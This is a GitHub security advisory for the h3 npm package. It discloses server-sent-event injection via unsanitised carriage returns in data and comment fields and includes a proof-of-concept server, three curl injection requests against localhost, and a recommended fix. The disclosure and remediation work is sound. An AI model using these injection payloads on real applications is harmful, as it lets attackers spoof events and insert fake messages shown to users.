GHSA-4hxc-9384-m385

ADVISORY - github

Summary

Summary

The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.

Details

The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:

1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)

const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) {  // Only splits on \n, not \r
  result += `data: ${line}\n`;
}

String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:

data: legit\revent: evil\n

Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:

data: legit
event: evil

2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split("\n")  // Only splits on \n, not \r
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:

: x\rdata: injected\n\n

Which the browser parses as a comment line followed by actual data:

: x
data: injected

Why _sanitizeSingleLine doesn't help

The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:

function _sanitizeSingleLine(value: string): string {
  return value.replace(/[\n\r]/g, "");
}

But it is only applied to id and event fields (lines 182, 185), not to data or comment.

PoC

Setup

Create a minimal h3 application that reflects user input into an SSE stream:

// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";

const app = createApp();

app.use("/sse", defineEventHandler(async (event) => {
  const stream = createEventStream(event);
  const { msg } = getQuery(event);

  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)
  await stream.push(String(msg));

  setTimeout(() => stream.close(), 1000);
  return stream.send();
}));

export default app;

Attack 1: Event type injection via \r in data

# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"

Expected (safe) wire output:

data: legit\revent: evil\n\n

Browser parses as:

data: legit
event: evil

The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.

Attack 2: Message boundary injection (event splitting)

# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"

Browser parses as two separate events:

  1. Event 1: data: first
  2. Event 2: data: injected

A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.

Attack 3: Comment escape to data injection

# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"

Browser parses as:

: x          (comment, ignored)
data: injected  (real data, dispatched as event)

Impact

  • Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
  • Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
  • Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
  • Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.

Recommended Fix

Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.

// src/utils/internal/event-stream.ts

// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split(SSE_LINE_SPLIT)  // was: .split("\n")
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${_sanitizeSingleLine(message.id)}\n`;
  }
  if (message.event) {
    result += `event: ${_sanitizeSingleLine(message.event)}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  const data = typeof message.data === "string" ? message.data : "";
  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split("\n")
    result += `data: ${line}\n`;
  }
  result += "\n";
  return result;
}

This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r from being passed through to the browser where it would be interpreted as a line break.

Common Weakness Enumeration (CWE)

ADVISORY - github

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

5.3medium
PackageTypeOS NameOS VersionAffected RangesFix Versions
h3npm--<1.15.91.15.9
h3npm-->=2.0.0-beta.0,<=2.0.1-rc.162.0.1-rc.17

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is no loss of confidentiality.

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

There is no impact to availability within the impacted component.